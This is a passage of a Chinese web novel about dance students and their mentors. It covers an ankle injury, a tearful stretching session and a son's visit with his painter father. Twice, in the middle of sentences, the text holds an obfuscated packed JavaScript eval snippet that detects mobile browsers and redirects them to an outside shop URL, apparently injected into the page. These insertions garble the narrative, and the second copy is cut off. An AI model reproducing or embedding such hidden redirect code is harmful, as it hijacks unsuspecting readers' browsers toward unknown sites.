相应的,在弟弟心里,也早把婶婶当成母亲了。 “行啦,说说你还当真了。”彦霖腾出一只手揉揉弟弟汗湿的脑袋,“我还能不了解你吗?游戏是早就帮你留意了,才拿到就给你拿过来了。别瞎想。” 彦承难得没有甩开哥哥的手,宝贝地又掀开盒子看了眼,“嗯,我就知道。 69. 第64章 陶乐钦松开攥着孔爵衣服的手指蜷在掌心里,扶着他歪歪扭扭地站着,几乎可以想见下一秒要怎样劈头盖脸地被他骂。可出乎意料地,想象中的的“狂风暴雨”没有到来,孔爵只是一言不发地扶着他到一旁的矮柜上坐下。 “自己试试看,能不能动。” 孔爵在他身前蹲下,脸色依旧十分不好看。陶乐钦暗暗望了一眼他,抿着嘴,轻轻动了动。 陌生的无力感让脚腕有些不听使唤,陶乐钦又使了点儿劲,关节却突然微微弹了一下,麻木裹着酸痛从方才崴过的地方传来,吓了他一跳。 不知是错觉还是什么,孔爵的语气似乎软了些,“慢点,不要急。” 陶乐钦点点头,尝试把脚顺时针转了转,又慢慢转回来,提到喉咙口的一颗心总算稍稍放了下来。 “我看看。” 孔爵托起他小腿,另一只手在脚踝附近捏了捏,又握着他的脚绕着脚踝缓缓打着圈,时不时抬起头观察他的表情。来回转了两圈,陶乐钦都摇摇头,孔爵这才松开手,显而易见地松了口气。他起身拖了个板凳过来给陶乐钦搭脚,转身便去了更衣间。再回来时,手里拿着刚用冷水浸过的毛巾,利落地给陶乐钦裹上了。陶乐钦一眼不错地瞧着,认出来这是他早上排练时搭在颈间的。 “坐这儿等着。” 孔爵忙完这一通,只丢下这几个字便拎着手机钥匙出门了。陶乐钦回头看着他飞速消失在门后的背影,毫不掩饰的沮丧才尽数写在脸上。 越怕什么,越来什么,他也不知道,自己怎么就在那个时候走了神,怎么就那么凑巧,在这个节骨眼上受了伤。虽说不是很严重,可——他忍不住盯着自己的脚——毛巾很快变的温热,湿湿地裹着并不舒服。这伤,最轻最轻,也要歇上十天半个月,舞剧排练的时间本来就紧,他的戏份又吃重……这耽误的,是整个舞剧的进度。 陶乐钦忍不住揭开毛巾,扶着身后的镜子站起身来,一点点试探地将重心挪到受伤的脚上。脚踝上的酸痛一点点加重,可直到全部重心都放了过来,疼痛也并不十分剧烈。他暗自舒了口气,这应该……不严重吧。 就算严重,硬扛着也要上…… 陶乐钦不禁跌坐回凳子上,仰着头靠着镜子发呆,对这突如其来的想法感到颇为无奈。 他原本是很瞧不上那些无非必要却总要带伤上阵的舞者或者是运动员的。看似是充满英雄色彩的一腔孤勇,可如果对身体造成了不可逆的伤害,断送的,是未来几十年的成绩和职业生涯。 “愚、不、可、及……”陶乐钦望着天花板自言自语,嘴角不禁露出一丝哂笑,不知道是该笑别人还是笑自己。方才明明有那么一瞬间,他似乎理解了那种心情,那种无论别人怎么说,自己却一定要继续下去的冲动。 孔爵回来的比想象中的快。只听见门“哗啦”一声响,陶乐钦扭过头,孔爵正拎着个奶茶袋子和云南白药顶开门。即便不是没见过他排练时大汗淋漓的样子,可眼前人还是让陶乐钦忍不住抿了抿唇。现在正是外面太阳最毒的时候,孔爵这一来一回这么快……再看那湿了大半的T恤和不那么平顺的呼吸,想来他一路都是跑着回来的。 孔爵把东西都放在地上,低头看见被他放到一旁的毛巾,不禁顿了下,看了陶乐钦一眼。却到底没说什么,拎起来又朝更衣室去了。 陶乐钦含着嘴角,想跟他说这毛巾温了就没什么用了,敷着更难受。可等着他回来在自己身前坐下,却又突然觉得没什么好解释的。 孔爵从袋子里掏出个奶茶杯子,掀开盖子陶乐钦才看到里面满满的装的都是冰块。孔爵摊开毛巾倒了半杯进去,捏成一包递给他。陶乐钦会意地接了过来,敷在了脚踝上。 呼……孔爵撑着膝盖坐在他对面,忍不住揪着前襟不停的扇风。刚洗了把脸,汗还止不住地往出冒。他歇了一会儿,忽然想起什么似的掏出手机。“喂萧泽,到哪儿了?” 陶乐钦忍不住竖起耳朵。 “哦,那正好。我记得你车上是不是有个小保冷箱,方不方便拿上来?” “嗯,小陶把脚崴了,刚给他找了点冰块。” “还行……不太严重,等你上来说吧。” 陶乐钦抬头去看孔爵,关注点却奇异地放在了那两个字上……原来他私下,叫自己“小陶”。 “怎么又拿下来了?” 孔爵挂了电话,看他捧着冰块发呆,语气隐隐透着不悦。 “哦……” 陶乐钦打量着不知道什么时候被自己不自觉拿开的毛巾,小声解释,“太冰了。” 孔爵深深看了他一眼,伸手在他脚上捂了一会,便接过毛巾,又敷了上去。 萧泽不多时就上来了,显然听说陶乐钦受了伤,也是一路快步过来的。“怎么弄的?” “落地的时候踩我脚上了,垫了一下。我刚看了,问题不太大。” “嗯。” 萧泽弯腰看了看伤势,眉间却不见放松。 孔爵拉着他坐下,“我刚给黄老打电话了,晚点能有时间,我带他过去看看。这边你给张凡和小何打个电话吧,后面的排练要重新调调。” 萧泽点点头,眼神在一直抿着嘴沉默的陶乐钦身上转了一圈,最终还是落到他脚上。陶乐钦敏感地抬起头,语气里带着军令状般的笃定,“我应该很快就可以恢复,会尽快重新加入排练的。” 不想萧泽却和孔爵一起摇了摇头,“伤养好是第一位。” —————————————————————————— 林晓希才走出校门就撞见吃饭回来的何钦。“这个点儿,回家啊?” 何钦瞧他急匆匆的,不禁看了眼表。 “嗯”,林晓希点点头,“我明早赶早功回来。你们晚上不用等我了。” “行。” 里外里就这半天的时间,也是够折腾的。可何钦知道他也是没办法,忍不住拍拍他肩膀,“今天交通管制,你坐地铁吧。” “好,谢了啊。”林晓希握了握他手腕,疾步朝校外走去了。 首都的地铁,不管什么时候人都是多的。林晓希上车找了个人少的角落站着,望着窗外的不停闪过的广告牌,不自觉就出了神。 之前他总觉得等到开了学,他可能忙的连睡觉的时间都没有。却没想到,自己还能有半天时间搭着地铁回家。 的确是忙。 开学前两天,他课表上便莫名多出一堆古表专业的课,那密密麻麻从早排到晚的课表,看着他就头大。愣了半晌才想起来班主任之前找他说过的,教学主任亲自做的决定。想来也是担心四年后,他万一过不了舞团的甄选,没办法和文导和朱导交代吧。 哎……林晓希无奈地笑了笑,这份校领导的“关爱”,实在不怎么好消受。大一的必修课本来就多,再加上主任亲自勾选的那些,他常常一趟技巧课,一天就要上两次。累都是其次,他是不愿意看见自己每次走进别的班的教室时,那些或猜测或抗拒的眼神。再怎么看得开,也架不住这么一直被往风口浪尖上推。 只是他的确也无暇顾及了。备赛排练的时间,从从前的一周七天变成现在的晚上和周末。大大缩水的排练时间,他自己都觉得,实在是太少了。所以常常连吃晚饭的时间也舍不得,下午没什么事,就直接往排练教室跑。比赛的日子一天天近了,不扎在练功房里,他心里真的没底。 只是没想到,这不吃饭的事被学长抓了个正着,刘老师自然也知道了。自那之后,排练的时间不仅没有增加,每个周日,竟然还多出了半天假。林晓希不禁蹙起眉头,其实他不是不明白……隐隐约约地,他大概能猜到学长和刘老师的用意,只是…………哎…… 列车进站前不知怎么刹得急了些,晓希一把抓住栏杆,险险没撞在旁边的人身上。手腕上立刻传来一阵酸痛,惹得他骤然收紧了眉头。参赛作品的编排一直在改,最近有个挑腰后翻的组合,他总是连接得不是很顺。回去练的多了,手腕有点吃不消。昨天练习的时候被刘老师发现了,便硬拉着给他贴了块膏药上去。 林晓希盯着自己手腕发呆,忍不住伸出手一点点抠弄着粘在皮肤上的胶。中午洗澡的时候他才急忙忙把膏药扯下去,用力搓了半天顽固的胶水才擦个七七八八。不然回家给奶奶看见了,她老人家又要抹着眼泪要给自己退学了。 想着自己都跳了这么多年了,奶奶还动不动就威胁他退学的可爱模样,林晓希忍不住笑了。虽然从前也常常回去看奶奶和爸爸,却从来没有哪一次,有像今天这样,期盼着回“家”的感觉。是啊,他,奶奶,爸爸,他们三个人在一起,才是个完完整整的家。所以哪怕只有半天时间,哪怕昨天熬了很晚才把作业提前赶出来,他还是想回这一趟家。 可……一周就这么紧紧巴巴的半天时间。上个周末在学校忙着排练补作业,这周又赶着回家……林晓希不禁噙着嘴角长舒了一口气,他几乎算不清楚,自己和承儿多久没见面了。 “嗨,没事儿。叔叔终于从疗养院回来,你多陪陪他是应该的。我们——我们好说的嘛。等我考上了舞院,还不是天天都能见!” 昨晚视频的时候,承儿硬装着没事的样子不停地在他眼前晃。从前在附中的时候,就算是忙,要么承儿过来,要么他回去,俩人每周多多少少总能见上一次。可这一两个月,且不说承儿备考的课排的满满的,他也几乎是一周七天的连轴转。就算是谁有了一星半点的时间去找谁,另一个,怕也没时间陪。更何况——晓希忍不住别开头抿了抿嘴唇——电影院的事情才发生没多久,学长不叫他,他又怎么张嘴说要去呢。 想到这里,他又不禁想起承儿唉声叹气地念叨着他们是”苦命鸳鸯“的模样,终是绷不住笑了。 “干嘛呢?”他不禁掏出手机,给承儿发了个微信。 只是承儿这会儿,大概顾不上他。 “来,过来。”萧泽背靠着把杆,朝承儿挑挑下巴。 可彦承只看见他脚下那软软的两层垫子,就不想动了。孔爵在身后看热闹般地踹了他屁股一脚,“欸欸喊你呢,快点啊!” “孔—爵—哥… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239567|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”钟彦承回头“哀怨”地看了他一眼。然后看着他老人家一半吓唬一半认真地立起眉毛,才不得不撇着嘴,认命般地一点点朝萧泽哥挪过去。他真是想不通,团里又不是没有地方,怎么今天孔爵哥跑到家里来排练了。他也不是没和孔爵哥练过,照理说没什么可放不开的,可偏偏就是被两个人一起盯着,让他多少有些不自在。 “别磨蹭啦!” 萧泽知道他怕这个,等着人走近了,便直接拉着他手臂拽到自己身前,捏着他脖颈晃了晃,“快点。” 彦承鼓着嘴点点头,转过身背靠着萧泽单膝跪下了。 “自己扳。” “哦。”彦承调整了下膝盖的位置,然后两手抱着脚跟,快速把左腿扳到了耳侧。萧泽知道他跪不稳,看着他腿上来便立刻抓住,彦承果不其然地还是晃了晃。 一双手臂立刻围上了自己的腿,萧泽低头扫了眼他的姿势,“膝盖难受吗?” 眼前乱蓬蓬毛茸茸的脑袋晃了晃,然后又好像怕他没看见似的,小声嘀咕了一句,“不难受。” “嗯,那抱好了。” 彦承心里一慌,连忙又紧了紧在身后揽着萧泽哥的手臂。下一秒,自己就被一股强有力的力道稳稳推了出去。 “呃嗯……” 瞬间失去重心的彦承慌乱地咬住嘴唇,恐惧大于疼痛的感觉让他不小心叫出声来。胯被萧泽哥远远顶了出去,脚腕却牢牢锁在耳边,大腿内侧的韧带和主力腿的胯根如串紧的皮筋般一起紧绷起来,疼痛瞬间在脑海中一穿而过。 “别跟我对着来。” 萧泽曲起膝盖把人又往外送了送,少年两腿大开的角度肉眼可见的增加了一截,揽着自己腿的双臂立刻就收紧了。 “疼……” 彦承的眼眶立时就红了。这样的跪姿下,主力腿正面的拉伸本就格外充分,外移的重心更是让所有重量都担在那一小块肌肉上。任谁练,后胯根都是最难的。 彦承松开嘴唇小口换着气,他真的,太怕这个了。仿佛是千万条互相抓紧的纤维被一点点撕扯开,足以让半个身子都酸麻掉。可偏偏另一只腿不依不饶的被扳在耳边,大腿内侧的韧带尖锐地叫嚣着。 然而即便是这样,萧泽也不满意。 “来,自己看镜子。”练功时候的萧泽哥,总是比平时少了些温度。彦承拼命眨巴着眼睛不让眼泪掉下来,终于挨不住房间里的沉默,扭过头向镜子里看去。可……只一眼他就忍不住错开眼神,不愿意再看。镜子里的自己,和想象中有些不一样。 “看到了?” 萧泽腾出一只手呼噜了下他头发,“这就疼的不行了,看看才到哪儿?最近是我看你不够紧还是唐老师看你不够紧,嗯?” 彦承埋过头不作声,只觉得热气一阵一阵地往眼眶上冲,一丝委屈不禁爬上了嘴角。他没有偷懒,也没有不肯练。可就是,就是,想把每一块都练好,太难了。 萧泽扶着承儿下颌让他抬起头来。他自然知道孩子是委屈了,可学舞就是如此,眼泪不涨功,练才涨。 “你放松,我再压一点,数一百个数就让你起来。” 彦承吸了吸鼻子,乖巧地点点头,末了,又轻轻嗯了一声。 萧泽紧了紧攥着他脚腕的手,腿上使力,将人又往外推了一截。 “唔……” 彦承忍不住呜咽了一声,牙齿立刻就攀上了嘴唇。疼……双腿之间的撕扯成倍地加剧,他只觉得眉眼都紧紧纠结在一起,却拼命忍着眼泪不往下掉。孔爵哥还在呢,太丢人了。 少年的牙齿不安地摩挲着嘴唇,拼命消化着永远也没办法适应的疼痛。他忍不住带着一丝希冀地悄悄朝镜子里看去,忍了半天的眼泪,却一下子就落了下来:模模糊糊的视野里,依稀看得出自己只比方才进步了一点点,与想象中的弯弓模样,天差地别。 为什么,会这么难啊。强自撑起的勇气都在这一瞬间崩塌,彦承垂下眼睫,几乎有了立刻放弃的念头。只是,想着睡前幻想过无数次的拿到通知书的喜悦,还有在大幕合拢前张开双臂对满场观众深深鞠下的一躬…… 彦承忍了又忍,终于努力收拾起心情。犹豫了片刻,狠下心,咬牙顺着萧泽哥的力道自己把胯远远地送了出去。萧泽只觉得脚下一轻,房间里响起清晰的一声哭腔。然后便看着彦承扭过脸狠狠埋在耳侧自己的小腿上,眼泪扑簌簌地顺着脸颊往下掉。 “哎呦……练个功啊,就哭成这样。”孔爵一边摇头,一边夸张地冲这边咂咂舌。“承儿啊,在我那儿就这样。这都一年了,一点长进都没有啊?” 彦承紧闭着眼睛似是没听见般,嘴角却是扁了扁,眼泪瞬间落的更急了。萧泽忍不住远远瞪了孔爵一眼,看他投降似的给嘴“拉上了拉链”才作罢摇了摇头。承儿的性子其实他们都知道,就是个疼起来泪腺就格外发达的孩子。难得的是听哄,也听训,柔声劝几句,或者是凶几句,就都乖乖的肯练。 萧泽趁机收紧臂弯,将承儿的小腿牢牢压在他耳边。能感觉出身下的孩子明显的一抖,萧泽这颗心也终于被他融的软下去一块。“自己数吧,数够一百。” 70. 第65章 一米 “十八……” “十九……” “二……二十——” 堪堪数过二十个数,承儿的尾音里又带出一丝藏不住的哽咽。 从左腿压到右腿,萧泽知道他是受不住了。担在手上的力气越来越沉,萧泽向后靠在把杆上,把不自觉朝前躲的小孩儿往回拢了拢,“来,回来。” 只一个动作,怀里的吸气声立时又急促了几分。 “自己在心里数吧,到了告诉我。” 承儿含含糊糊地应了一声,从身后看着,肩膀还一抽一抽的,好不可怜。萧泽放远了目光在对面镜子里检查承儿的姿势,正撞上一旁的孔爵毫不掩饰地甩过来一个“你无可救药”的表情。萧泽拿他没办法,只得无奈地笑笑,忍不住白了他一眼。 其实他们小时候不也都是这样过来的。好像真的被从两腿之间撕开般,满脑子就只有一个疼字。分不清哪里更尖锐些,哪里更沉重些,只是疼得发抖、疼得想尖叫,却偏偏要忍着不能动不能哭。明明觉得一秒都再熬不住,还要逼着自己坚持一下,再坚持一下。他太知道那是什么滋味了。 他记得自己也曾哭着一遍遍问秦老师还有多久,也曾在疲惫和疼痛的尽头脱口而出一句“不想练了”。那一次的后来,真的是狠狠被罚了一次,让他再不敢疼昏了头就“信口胡说”。 走这一条路的人,哪个不是哭着哭着才学会了不哭的。 萧泽扫了眼时钟,已经快三分钟,怀里一直抽抽嗒嗒的孩子却还没有动静。“还没到?”萧泽低声问。过了两秒,才见彦承深吸了一口气,尽力压抑着哽咽吐出两个字,“到了。” “到了不说?” 彦承却只垂着眼角,不回答。萧泽看他死死咬着嘴唇,小脸上湿成一片,心思一转似是想明白了。方才那边数完最后又给他扳了下,承儿疼得直接喊出声来。想来是怕了,所以到了这边宁可多熬一会儿也不想挨那最后一下。 这孩子……萧泽在心底叹了口气,对这个“小鸵鸟”既心疼又好笑。却到底没舍得拆穿他,只故意冷着声音叫他抱好了。 伴着彦承颤颤巍巍地一声“别”,萧泽收紧手臂,将膝盖顶在他后腿根上,缓缓压了下去。少年强韧又柔软的韧带在外力的迫使下一点点向更深处延展,拔高的尖叫短促地响起一声后便再没了踪影,一直反手揽着他的手臂却越箍越紧。直到膝下突然传来一阵滞涩感,萧泽果断收了力气,矮下身缓缓帮承儿把腿放了回去。 承儿这才好似突然找回了声音,单膝跪坐在地上,双手搂着腿根止不住的哭,“呜……” “行了,去洗把脸,自己抓紧活动活动。”萧泽由着他缓了一会儿,揽着腰把人捞起来,往前推了一把。看着承儿扶着腿颤颤巍巍地往那边挪,这才长舒了一口气,后退了两步靠在把杆上休息。 “惯。”孔爵练完手上这一段,拎了瓶水过来,与他并排靠着。萧泽挑起眉,哭笑不得地摇摇头,“我这哪儿惯了?不然把你家思思拉出来,也让我惯惯?” “想得美。” “嗯……”萧泽若有所思地点点头,“惯。” 嘶——孔爵抬脚就要踹他,萧泽难得笑开了,护着还没拧盖子的水杯躲开了。看着孔爵难得吃瘪的表情,才打着“止战”的手势挪回来。脸上的笑意,却渐渐淡了。“你又不是不知道承儿,已经是难得听话的孩子了。我们小时候疼急了,不也哭。” “嗯,半大的小子了,这么练,不容易。”其实这几个孩子里,彦承是最对他胃口的。“之前也没见哭这么凶。” “他是最近心事太重了。” “考学压力大?” “嗯。” 孔爵了然地点点头,丝毫不意外。高考是个大坎,哪怕不能百分百决定一个人今后的方向,却也是人生路上极重要的一个拐角。想着从小学到高中又或是到附中那么多年的努力,等的就是这纵身一跃的时刻,离梦想的大门更近一点。谁又能真的没有压力呢。 彦承从更衣室里出来了。小脸洗的干净,湿漉漉的头发都顺在耳侧。出来也不曾向这边望上一眼,只乖觉地自己捋着把杆在房间另一侧活动。 孔爵看着他腿才抬起来人就抖了下,终究忍不住感叹,“要进最难考的学校、最卡人的系,哪能没有压力。只能他自己成全自己了。” “唉,不说承儿了。思思怎么样,考哪儿定了吗?”萧泽转了转有些僵硬脖颈,抬起双臂展展肩。 “嗯,定了,考军艺。本来有个定向培养的项目,正好回他家乡的文工团。可他还是想考总政试试,就不报那个了。” “这孩子看着柔弱,其实心里比咱们想的坚定许多。” “是啊……”孔爵长叹了口气,转头却看见萧泽手附在身后,攥成拳头一点点顶着腰。“腰疼?” 萧泽下意识地收回手,“没事……还不是你,下手太狠了啊。” “啧!”孔爵侧过身,一手撑着把杆一手掐着腰,气势能把人都笼在里面,“是不是你自找的,啊?” 昨儿排练结束早,萧泽留着练了会儿基功,正好孔爵在,便让他帮着压压。他对自己一向不留余地,愣是催着孔爵把他逼到极限。今天这难受劲儿,就都返上来了。 “是……”萧泽偏过头,为难地看向孔爵,“我这不是最近太忙了,怕撂下。” “够用就行了,年纪在这儿呢,不要非跟自己过不去。” 萧泽倚着把杆搬起腿,人微微向后一仰,整个上身连着耳侧的腿便都压到了把杆里面去。他踮起半脚尖尽力向后靠着去找墙面,“可我们这不是还没到拿年龄说事儿的时候嘛。” “不是那个意思”,孔爵难得地语重心长,“以你的能力,对作品的理解和表达已经不受肢体的限制了,关键是这儿。”他曲起食指点点了太阳穴。 萧泽又往后靠了靠,“我明白的。只是想着能坚持的时候多练一点,身体的状态就能维持的久一点。这个,不也是孔爵哥教我的。” 孔爵不置可否地挑挑眉。 “再者,晓希也好,彦承也好,我给他们定的什么规矩,自己总得能做到了才有说服力。”萧泽顿了顿,话风却突然一转,“况且,我是一直追赶着您的脚步的。什么时候您给自己”松松扣“,我这个师弟也就跟上了。” 孔爵一愣,险些没反应过来他这一口一个“您”的揶揄。过了两秒,才突然逮着萧泽胳膊,咬着后槽牙给了他一拳,“看你下次再犯我手里的。” “哎我错了我错了!”萧泽难得乐不可支地一边缩着胳膊,一边告饶。除了彦霖,他大概也就只和孔爵能玩笑的起来。 俩人闹了一圈,想着在承儿面前实在是有些不“像话”,才双双坐在地上歇着。 呼……孔爵曲起一条腿撑着胳膊,远远地看着认认真真练习的承儿。其实萧泽说的没错,他们这些人啊,其实都惯了宽以待人,苛于律己。无论旁人怎么劝,自己心底总还是有一口要跟自己死磕到底的气。如今对孩子们怎么严格,怎么逼迫,其实也是希望他们能攒出自己的那“一口气”。 ————————————————————————————— “晓希回来了?” “嗯。”林晓希在门口换了鞋,看见爸爸从画室里迎出来,身上还系着沾了不少颜料的围裙。“奶奶没在家吗?” 林暮青摘下围裙叠起来捏在手里,“这不是你今天回来,非要去菜市场买新鲜的给你做。” 林晓希为难地皱起眉头,“我也吃不了多少,这么热的天您别让她出去了。” “哎,这个你自己跟奶奶说吧,看她听不听。”林暮青快步把围裙扔回画室又转身出来,“先歇会儿吧,厨房有水果和甜品。等会两点,疗养院的人要过来家访。” 林晓希点点头,脸上难得露出年少时才有的“乖巧”来,“好”。 拉开冰箱,打眼就是码的整整齐齐的果盘和装在漂亮小碗里的甜品。晓希一一拿出来放到餐桌上,顿了两秒,不禁掏出手机,拍了两张发给了彦承:“你的最爱,我替你多吃一块。” 微信对话框里依然没有回复,晓希知道他在忙,多半要等到晚上才能回信。这段日子,他们能同时上线的时候不多,所以便就都是这样,想到什么就随手发过去,有时间看的时候再回。时光好像一下子回到年前他去俄罗斯比赛的时候,两个人也是这样在各自的”时区“里拼命努力,望向未来的眼睛里,都闪着星星。 门铃没一会儿就响起来,晓希听着是有人来了,连忙起身倒了水拿了果汁端去客厅。没想到来人正是之前见过的小陈护士。晓希把托盘放到茶几上,将水递给她,笑着和她打招呼,“陈护士。” “谢谢谢谢”,陈茵茵有些不好意思地接过来,“你叫我茵茵姐就行,别这么客气。” “嗯,茵茵姐。”晓希点点头。与在医院相比,此时的茵茵姐好像多了几分局促。晓希知道他们有正事忙,便没有多在客厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林暮青点点头。 “那,那下一个问题。”陈茵茵暗恨自己,狠狠咬了下嘴唇。“睡眠质量怎么样?有没有失眠的症状?或者是常感到疲累?” “睡眠也不错。和在疗养院的作息差不多,基本很快就能入睡。早起也蛮精神。” “多梦吗?” “正常吧。” “那你一般都会梦到什么呀?” “这也——” “这真的是问卷上问的!”陈茵茵忙不迭地举起板子,翻过来凑到林暮青面前,“不信你看!” 林暮青被她信誓旦旦的样子吓了一跳,愣了两秒,不禁被她逗笑了。“也没什么特别,大多醒来都不太记得了,多半是梦过去的事。” 陈茵茵低着头边听边记,听到最后一句,笔尖不禁顿了顿,过去的事,是他的妻子吧。 爸爸和茵茵姐到了餐厅去,林晓希自己又不自觉溜达到了画室。他从小就喜欢看爸爸的画,从前很多个在画室辗转反侧的夜晚,都是这些画伴他入眠。 将门在身后轻轻掩上,如今的画室,变了些模样。原来的画被重新安排归置起来,墙上地上,又多了许多幅新作品。 他的目光不禁黏在房间一侧那副一米见方的画板上。 画板上罩着白布,林晓希皱皱眉,不禁有些迟疑却又格外坚定地走过去,有什么东西在心底渐渐波动开来。指尖钳住白布的一角,只微微一掀,它便整个滑落下来。林晓希怔怔望着画布,喉结不禁滚动了下,眼神也望进画中无限的温柔中,再挪不开半点。 这幅画在他的童年中有很深很深的记忆,无数次午夜梦回,他都仿佛看见年幼的自己拽着爸爸的一根手指走到画布前奶声奶气地说,“妈妈,漂亮!”可在他们都深深避讳的那一年后,这幅画便陡然消失。一如那一同消失的温暖,在自那之后的许多年,只偶然地闪现在他的梦境中。 晓希搬了把椅子在画前,怔怔望着它出神。画上的妈妈格外年轻,是定格在他记忆中的样子。乌黑的头发柔顺服帖,发梢处却打着卷,缱绻地窝在妈妈臂旁。那一双格外熟悉的眼睛,因为满溢的笑意微微弯起来,在眼角划出些清浅的小褶皱。可浓密卷曲的睫毛下边,咖啡色的眼睛那么柔和,好像映着周末早上窗明几净的家,也映着黄昏客厅里笨拙起舞的小朋友。 林晓希忍不住阖上眼睛,微微仰起头,让贸然溢出的情绪都流回心底。他也不知道自己坐了多久,直到虚掩地门被缓缓推开,他才后知后觉地从高脚凳上冲下,慌忙捡起地上的白布。 “爸……” 爸爸已经走进来,林晓希有些挫败地扶着只来得及搭上一半的布,抿着嘴唇不知该说些什么。方才爸爸蹙起的眉头和眼神中一闪而过的痛苦尽数被他收在眼里。他难掩愧疚地垂下头,几乎有些不知所措。 71. 第66章 嗯 “慕斯吃了吗?上次听彦承说你喜欢的。”林暮青从晓希手里接过白布,帮着他一起盖上去。方才的错愕与黯然已尽数掩去,嘴角只存着与往常一般的浅笑。 “嗯,吃了。”晓希顿了顿,又忍不住解释,“剩下半个,怕晚上吃不下饭。我饭后再吃。” 这么大的小伙子,那么点小甜点才吃了半个。林暮青心疼儿子,可知道他向来自律,老师们也管他严,便只点点头。“那——累不累?要么睡个午觉?” “爸”,晓希终于扬起头,难得扯开个笑容,“都两点半了。” “哦………也是。”林暮青瞧了眼表,尴尬地笑笑,一时无话。 房间里陷入一阵难耐的沉默。父子俩间空白了这么多年,以至于每次见面他除了问问儿子练舞累不累,有没有什么想吃的,缺不缺钱花,就好像再想不出别的什么话题了。 “爸,你教我画画吧。” 儿子其实画画很有天赋。 两块画板架在窗边,林暮青的画笔在画布上停停点点,时不时朝晓希这边看上两眼。 晓希用色很大胆,线条流畅又生动。自己刚才只是帮他寥寥勾了几笔,他自己填色,现在看上去已经很成样子。 林暮青渐渐停下画笔,不知不觉中,全副精神都落在认真作画的儿子身上。在疗养院见的那次,脸颊上还算得上有些肉的,才几周而已,下颌就瘦得像刀削一般。平直单薄的肩背藏在T恤下,胳膊细得只占了小半个袖管。不过大概是因着常年锻炼的关系,攀附在手臂上的肌肉修长有力,丝毫不显得羸弱,伴着每个细微的动作,在白皙的皮肤下暗暗伏动。 林暮青微微蹙起眉。 若有似无、混着麝香的膏药味丝丝缕缕地从鼻尖飘过。思量片刻,他不禁了然地垂下眼神。他忍不住想,要是当初儿子真的学画画的话,大概……就不会这么辛苦了吧。可转念又想想,这世上要把什么做到极致,又能不辛苦呢。 “我记得,你妈妈怀你的时候,我们就一直打赌,你到底会继承她的舞蹈天分,还是我的绘画天分。” “嗯?”晓希笔下顿了顿,有些诧异地偏过头。 “她说你一定喜欢跳舞,我说你一定喜欢画画。于是我们俩每天争来争去,直到有一天才突然反应过来,我们儿子那么厉害,一定是什么都会的。” 晓希垂下头,有些腼腆地笑了。从来没有人跟他说过这些,他只依稀记得妈妈是很活泼的,每一张照片里,她都笑的明朗又温柔。 “你真的是出生就喜欢跳舞。”林暮青微微偏过头,似是沉浸在回忆中。他双手犹豫地比量了个长度,“还这么高一个在婴儿床里的时候,只要一放音乐,就扶着栏杆跟着手舞足蹈。等到了三四岁,更是你妈妈只要一跳舞你就啪嗒啪嗒地追过去,跟着她一起跳。” 他不禁微微笑起来,“你妈妈为这个事嘲笑了我好多次,说抓周的时候我捧着画板画笔眼巴巴地看着你,你目不斜视就路过我了……” “你们真的会……打这么久的赌啊。”晓希抿着嘴,好奇地扬起眼睛。 林暮青少见儿子这般生动的表情,忍不住捋开他扫到眼角的碎发,“说是说了那么久,‘筹码’却是早早就兑现了。你妈妈孕期爱吃甜的,又怕胖,她啊,就是寻个借口闹着我给她做。” “哦……”晓希下意识地点着头,忽然有些出神,“原来…你是那时候学会做甜点的。”他抠着手上不小心蹭上的油彩,心口不知怎么涌上一股难言的酸涩。他越是告诉自己不要想就越忍不住想,之前,他有多久没吃过爸爸做的甜点了,久到他几乎不记得,那是什么味道了。 “怎么了?”林暮青敏感地察觉出儿子突然沉静下去的情绪。 晓希摇摇头,微微弯起嘴角,“没有。我就是被你说馋了,想着等下饭后把剩下的吃完。” 嗯。 林暮青自然知道晓希有许多没有说出口的话,可他更知道自己父爱缺失的这些年不是一时半刻能填平的。他只能慢慢地等,等到儿子愿意敞开全部心扉的那一天。 ———————————— 林晓希拉开主卧浴室的门,眼下要迈出的这一步,让人不免有些踟蹰。屋内爸爸已经洗漱好,穿着睡衣坐在床边看书。他紧了紧握着门把的手,没来由地一阵紧张。 下午在画室的时候,爸爸问他晚上要不要过来一起睡。因为原先的客房现在给奶奶的住,他的小房间也正在翻新,油漆味没有散尽。 他中午一到家就看到了的,自己的小房间已经大变了模样:早就不合适的儿童小床换成了标准单人床;原来的书桌被改造成了简易风书架;还有墙壁,已经重新刷过,可床前的两个卡通人物还留着,经爸爸巧手勾勒,和谐地融入新的墙面中,一点不显得幼稚。可他忍不住摸着“皮杰猪”斑驳地小脸发呆了许久……其实他还能在这间房里住几次呢,爸爸也一定想到的,可他还是花了这么多心思在上面。原来自己没回家的这两周,他都在忙这个。 “你晚上就在我房间将就一晚吧,床够我们两个人,不会挤。”他看着爸爸起身折起画板,远远地搬到窗边去,说这话的时候,甚至没有回头,只刻意操着轻松的语气。 他原本想说,我在画室睡就好。 那张小床装不下他那天起,每次回来看爸爸,都是在画室打地铺的。可话到了嘴边,他忽然就说不出口了,鬼使神差地,他听见自己说,“我不知道我睡相好不好。” “冲了个澡凉快多了吧。”林暮青看着儿子出来,合上书放在床头,再回头时,眼神却在他身上停留了片刻。 晓希低头扫了眼自己青青紫紫地膝盖和小腿,手指不禁有些局促地抻了抻衣角。他两三步地爬上床钻抖开叠得工整的薄毯,“就这几天排练搞的,平时、平时不这样。” “嗯”,林暮青点点头,回身放平了枕头,“关灯了?” “嗯。”林晓希抿着嘴滑进被子中,心脏在黑暗中跳动地更加响亮。 从记事开始,爸爸妈妈就锻炼他在自己的小床自己的房间里睡觉,所以他搜刮过整个记忆,都记不起自己上次和爸爸一个床睡觉是什么时候。 身下的床很大,他和爸爸似乎都有意偏外躺着,中间几乎留出整整一臂的距离。静谧的房间里,能听见隐约的呼吸声匀长而平和,可林晓希知道,他和爸爸,都睡不着。 